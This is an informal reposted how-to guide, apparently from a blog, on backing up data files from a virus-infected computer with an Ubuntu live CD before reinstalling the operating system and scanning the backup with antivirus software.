Ubuntu is a free Linux based operating system which can be used without installing, because it’s a Linux Operating system you will nullify the chance of any of the viruses spreading.
3

Ubuntu startup options

Boot from the cd and just say you want to try Ubuntu without installing.
4

Ubuntu desktop

You will get a screen quite similar to your regular windows screen. The difference is the start button appears at the top of the screen.
5
Connect your remote storage device. An external hard drive is recommended, a USB stick or an MP3 player or something along those lines will also be able to do the trick. The external hard drive however is usually bigger so you can store more data.
6
Click on places in the start menu and open both the hard drive of the laptop and the external hard drive.
7
Browse in your hard drive and search for the files you still want to keep, and copy them to your hard drive. Please only copy data files such as pictures, text, spreadsheets, videos, etc. Avoid saving any programs because viruses can infect them.
8
Once everything is backed up you will need to re-install your operating system of preference. If you like Ubuntu you can even install Ubuntu now. Look at the related articles on how to install XP or Vista. You can even install both if you want to dual-boot.
9
Once your operating system is installed, install a virus scanner. Some prefer avira! because it is a good program, and they offer a home version for free.
10
Plug in your remote storage device and scan it for viruses as its still possible there are viruses in the files you backed up. This is just to be safe.
11
Once you copy your data back to the laptop, take the time to create a complete backup. This will save you hours of time and frustration. There are several good online backup solutions. We use Carbonite which costs less than $50.00 a year and will let you back up multiple computers.

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Tips

While installing a the operating system make sure you do a clean full installation. This means you will start from scratch.
Software installed on your PC might be lost unless its included in windows itself. You might want to check for program names etc to reinstall before you reinstall your operating system, a great place to do this is the software tab under control panel. Only write down the ones which you know as some of the programs between there may be useless.

Warnings

By following this guide you will lose everything on your computer that isn 't backed up properly, this includes drivers so some pieces of hardware like sound cards and video cards might not work properly or at all after this. If you don 't know what you are doing go to the nearest IT-shop and explain the situation. It will cost u a fair amount of money but at least you will be sure its done properly. Go to a PC-store AFTER you backed up the data, as they will hardly ever will back-up files. Just say you want them to reinstall windows and the needed drivers.

Things You'll Need

A second computer which you can use to download and burn a CD.
A new operating system you want to install, this can be a cd you already own, you don 't need to buy another windows copy if you already have one.
An external back-up medium that is large enough to store all files like an external hard drive or a USB thumb drive. Anything that can store data really. You might even be able to use a cell phone if it has bluetooth.

Caution

THANKX FOR CHOOSING TO SURF THIS BLOG.

SELECT HACK .

Are you Happy now.

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Contents

NEC Business Solutions

HP Pavilion Desktop PCs

Window XP Terminal Server

VPS Hosting Rs. 2100/-

Windows 7

Windows Xp Pack Download

Window XP Terminal Server

Easy DOS Batch Script

Water Purifying System

Mobile Phone Security

I Choose Dell™ Laptops

USP 797 Cleaning Products